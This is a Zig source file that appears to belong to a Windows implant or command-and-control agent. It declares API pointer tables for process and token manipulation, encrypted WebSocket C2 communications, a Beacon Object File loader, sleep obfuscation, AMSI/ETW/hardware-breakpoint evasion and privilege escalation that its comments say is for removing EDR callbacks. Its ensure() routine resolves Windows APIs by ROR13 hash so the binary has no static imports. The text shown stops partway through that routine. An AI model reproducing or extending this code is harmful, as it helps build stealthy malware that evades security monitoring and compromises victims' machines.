// Central function-pointer type definitions + global pointer table. Zero static imports —
// everything resolved at runtime by ensure() via resolve.zig.
// 1. Re-exports — hash_ror13, resolve_api, get_module_by_hash, get_func_by_hash, NT_SUCCESS.
// 2. Type aliases (2a-2g): exec, info, fiber, sleep, comms, bof, crypto Win32 API signatures.
// 3. Type aliases (2h): amsi/etw/hwbp — VEH, thread context, module resolution.
// 4. Type aliases (2i): privilege escalation — LookupPrivilegeValueW, AdjustTokenPrivileges.
// 5. Global vars (2a-2i): one ?T_* pointer per API, all initially null.
// 6. ensure() — walk kernel32→ntdll→winhttp→advapi32→bcrypt, resolve every pointer.
//    Falls back to LoadLibrary if a module isn't already loaded.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");

pub const hash_ror13 = resolve.hash_ror13;
pub const resolve_api = resolve.resolve_api;
pub const get_module_by_hash = resolve.get_module_by_hash;
pub const get_func_by_hash = resolve.get_func_by_hash;

pub const NT_SUCCESS = win.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;

// 2a. exec.zig — process creation, pipes, token manipulation
pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void;
pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void;
pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT;
pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void;
pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;

// 2b. info.zig — host identification, system version, time
pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void;
pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS;
pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void;

// 2c. fiber.zig — fiber API for Ekko-style sleep (unhooked timers)
pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;

// 2d. RC4 sleep obfuscation — SystemFunction032, VirtualQuery, VirtualProtect
pub const USTRING = extern struct {
    Length: win.ULONG,
    MaximumLength: win.ULONG,
    Buffer: [*]u8,
};
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;

// 2e. comms.zig — WinHTTP + WebSocket C2 comms
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD;

// 2f. bof.zig — Beacon Object File loader (COFF->memory->execute)
pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC;
pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID;
pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;

// 2g. crypto.zig — BCrypt ECDH key exchange + AES-GCM encrypt/decrypt
pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS;

pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;

pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;

// ====================================================================
// Global function-pointer variables — populated by ensure() below
// ====================================================================

// 2a. exec.zig
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
pub var exec_read_file: ?T_exec_ReadFile = null;
pub var exec_wait_for_single_object: ?T_exec_WaitForSingleObject = null;
pub var exec_get_exit_code_process: ?T_exec_GetExitCodeProcess = null;
pub var exec_get_last_error: ?T_exec_GetLastError = null;
pub var exec_get_module_file_name_a: ?T_exec_GetModuleFileNameA = null;
pub var exec_exit_process: ?T_exec_ExitProcess = null;
pub var exec_initialize_proc_thread_attribute_list: ?T_exec_InitializeProcThreadAttributeList = null;
pub var exec_update_proc_thread_attribute: ?T_exec_UpdateProcThreadAttribute = null;
pub var exec_delete_proc_thread_attribute_list: ?T_exec_DeleteProcThreadAttributeList = null;
pub var exec_create_file_a: ?T_exec_CreateFileA = null;
pub var exec_write_file: ?T_exec_WriteFile = null;
pub var exec_open_process_token: ?T_exec_OpenProcessToken = null;
pub var exec_duplicate_token_ex: ?T_exec_DuplicateTokenEx = null;
pub var exec_create_process_with_token_w: ?T_exec_CreateProcessWithTokenW = null;
pub var exec_create_pseudo_console: ?T_exec_CreatePseudoConsole = null;
pub var exec_close_pseudo_console: ?T_exec_ClosePseudoConsole = null;
pub var exec_create_thread: ?T_exec_CreateThread = null;
pub var exec_initialize_critical_section: ?T_exec_InitializeCriticalSection = null;
pub var exec_enter_critical_section: ?T_exec_EnterCriticalSection = null;
pub var exec_leave_critical_section: ?T_exec_LeaveCriticalSection = null;
pub var exec_delete_critical_section: ?T_exec_DeleteCriticalSection = null;

// 2b. info.zig
pub var info_get_computer_name_a: ?T_info_GetComputerNameA = null;
pub var info_get_user_name_a: ?T_info_GetUserNameA = null;
pub var info_get_system_info: ?T_info_GetSystemInfo = null;
pub var info_get_current_process_id: ?T_info_GetCurrentProcessId = null;
pub var info_rtl_get_version: ?T_info_RtlGetVersion = null;
pub var info_get_system_time: ?T_info_GetSystemTime = null;

// 2c. fiber.zig
pub var fiber_ConvertThreadToFiber: ?T_fiber_ConvertThreadToFiber = null;
pub var fiber_CreateFiber: ?T_fiber_CreateFiber = null;
pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;

// 2d. sleep.zig
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;

// 2e. comms.zig
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
pub var comms_winhttp_connect: ?T_comms_WinHttpConnect = null;
pub var comms_winhttp_open_request: ?T_comms_WinHttpOpenRequest = null;
pub var comms_winhttp_set_option: ?T_comms_WinHttpSetOption = null;
pub var comms_winhttp_send_request: ?T_comms_WinHttpSendRequest = null;
pub var comms_winhttp_receive_response: ?T_comms_WinHttpReceiveResponse = null;
pub var comms_winhttp_read_data: ?T_comms_WinHttpReadData = null;
pub var comms_winhttp_close_handle: ?T_comms_WinHttpCloseHandle = null;
pub var comms_winhttp_add_request_headers: ?T_comms_WinHttpAddRequestHeaders = null;
pub var comms_winhttp_query_data_available: ?T_comms_WinHttpQueryDataAvailable = null;
pub var comms_winhttp_websocket_complete_upgrade: ?T_comms_WinHttpWebSocketCompleteUpgrade = null;
pub var comms_winhttp_websocket_send: ?T_comms_WinHttpWebSocketSend = null;
pub var comms_winhttp_websocket_receive: ?T_comms_WinHttpWebSocketReceive = null;
pub var comms_winhttp_websocket_close: ?T_comms_WinHttpWebSocketClose = null;

// 2f. bof.zig
pub var bof_load_library_a: ?T_bof_LoadLibraryA = null;
pub var bof_get_proc_address: ?T_bof_GetProcAddress = null;
pub var bof_get_module_handle_a: ?T_bof_GetModuleHandleA = null;
pub var bof_virtual_alloc: ?T_bof_VirtualAlloc = null;
pub var bof_virtual_free: ?T_bof_VirtualFree = null;
pub var bof_virtual_protect: ?T_bof_VirtualProtect = null;

// 2g. crypto.zig
pub var crypto_bcrypt_open: ?T_crypto_BCryptOpenAlgorithmProvider = null;
pub var crypto_bcrypt_close: ?T_crypto_BCryptCloseAlgorithmProvider = null;
pub var crypto_bcrypt_set_prop: ?T_crypto_BCryptSetProperty = null;
pub var crypto_bcrypt_gen_key: ?T_crypto_BCryptGenerateSymmetricKey = null;
pub var crypto_bcrypt_destroy_key: ?T_crypto_BCryptDestroyKey = null;
pub var crypto_bcrypt_encrypt: ?T_crypto_BCryptEncrypt = null;
pub var crypto_bcrypt_decrypt: ?T_crypto_BCryptDecrypt = null;
pub var crypto_bcrypt_gen_random: ?T_crypto_BCryptGenRandom = null;
pub var crypto_bcrypt_gen_key_pair: ?T_crypto_BCryptGenerateKeyPair = null;
pub var crypto_bcrypt_finalize_key_pair: ?T_crypto_BCryptFinalizeKeyPair = null;
pub var crypto_bcrypt_export_key: ?T_crypto_BCryptExportKey = null;
pub var crypto_bcrypt_import_key_pair: ?T_crypto_BCryptImportKeyPair = null;
pub var crypto_bcrypt_secret_agreement: ?T_crypto_BCryptSecretAgreement = null;
pub var crypto_bcrypt_derive_key: ?T_crypto_BCryptDeriveKey = null;
pub var crypto_bcrypt_destroy_secret: ?T_crypto_BCryptDestroySecret = null;

// 2h. AMSI/ETW/HWBP evasion pointers — VEH, thread context, module resolution
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null;
pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;

pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;

// HWBP reuses AMSI's VEH/thread APIs — same AddVectoredExceptionHandler under the hood
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;

// 2i. privilege escalation — SeDebugPrivilege for EDR callback removal
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;

pub var priv_lookup_privilege_value_w: ?T_priv_LookupPrivilegeValueW = null;
pub var priv_adjust_token_privileges: ?T_priv_AdjustTokenPrivileges = null;
pub var priv_get_current_process: ?T_priv_GetCurrentProcess = null;

var g_ensure_done: bool = false;

pub fn ensure() void {
    if (g_ensure_done) return;
    g_ensure_done = true;

    const k32_hash = hash_ror13("kernel32.dll");
    const ntdll_hash = hash_ror13("ntdll.dll");
    const winhttp_hash = hash_ror13("winhttp.dll");
    const bcrypt_hash = hash_ror13("bcrypt.dll");

    // 2j. kernel32.dll — all exec/info/fiber/sleep/bof/amsi/etw resolution
    if (exec_create_pipe == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreatePipe"))) |p| {
            exec_create_pipe = @ptrCast(p);
        }
    }
    if (exec_create_process_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessA"))) |p| {
            exec_create_process_a = @ptrCast(p);
        }
    }
    if (exec_read_file == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ReadFile"))) |p| {
            exec_read_file = @ptrCast(p);
        }
    }
    if (exec_wait_for_single_object == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("WaitForSingleObject"))) |p| {
            exec_wait_for_single_object = @ptrCast(p);
        }
    }
    if (exec_get_exit_code_process == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetExitCodeProcess"))) |p| {
            exec_get_exit_code_process = @ptrCast(p);
        }
    }
    if (exec_get_last_error == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetLastError"))) |p| {
            exec_get_last_error = @ptrCast(p);
        }
    }
    if (exec_get_module_file_name_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleFileNameA"))) |p| {
            exec_get_module_file_name_a = @ptrCast(p);
        }
    }
    if (exec_exit_process == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ExitProcess"))) |p| {
            exec_exit_process = @ptrCast(p);
        }
    }
    if (exec_initialize_proc_thread_attribute_list == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("InitializeProcThreadAttributeList"))) |p| {
            exec_initialize_proc_thread_attribute_list = @ptrCast(p);
        }
    }
    if (exec_update_proc_thread_attribute == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("UpdateProcThreadAttribute"))) |p| {
            exec_update_proc_thread_attribute = @ptrCast(p);
        }
    }
    if (exec_delete_proc_thread_attribute_list == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("DeleteProcThreadAttributeList"))) |p| {
            exec_delete_proc_thread_attribute_list = @ptrCast(p);
        }
    }
    if (exec_create_file_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreateFileA"))) |p| {
            exec_create_file_a = @ptrCast(p);
        }
    }
    if (exec_write_file == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("WriteFile"))) |p| {
            exec_write_file = @ptrCast(p);
        }
    }
    if (exec_open_process_token == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("OpenProcessToken"))) |p| {
            exec_open_process_token = @ptrCast(p);
        }
    }
    if (exec_duplicate_token_ex == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("DuplicateTokenEx"))) |p| {
            exec_duplicate_token_ex = @ptrCast(p);
        }
    }
    if (exec_create_process_with_token_w == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessWithTokenW"))) |p| {
            exec_create_process_with_token_w = @ptrCast(p);
        }
    }
    if (exec_create_pseudo_console == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreatePseudoConsole"))) |p| {
            exec_create_pseudo_console = @ptrCast(p);
        }
    }
    if (exec_close_pseudo_console == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ClosePseudoConsole"))) |p| {
            exec_close_pseudo_console = @ptrCast(p);
        }
    }
    if (exec_create_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreateThread"))) |p| {
            exec_create_thread = @ptrCast(p);
        }
    }
    if (exec_initialize_critical_section == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("InitializeCriticalSection"))) |p| {
            exec_initialize_critical_section = @ptrCast(p);
        }
    }
    if (exec_enter_critical_section == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("EnterCriticalSection"))) |p| {
            exec_enter_critical_section = @ptrCast(p);
        }
    }
    if (exec_leave_critical_section == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("LeaveCriticalSection"))) |p| {
            exec_leave_critical_section = @ptrCast(p);
        }
    }
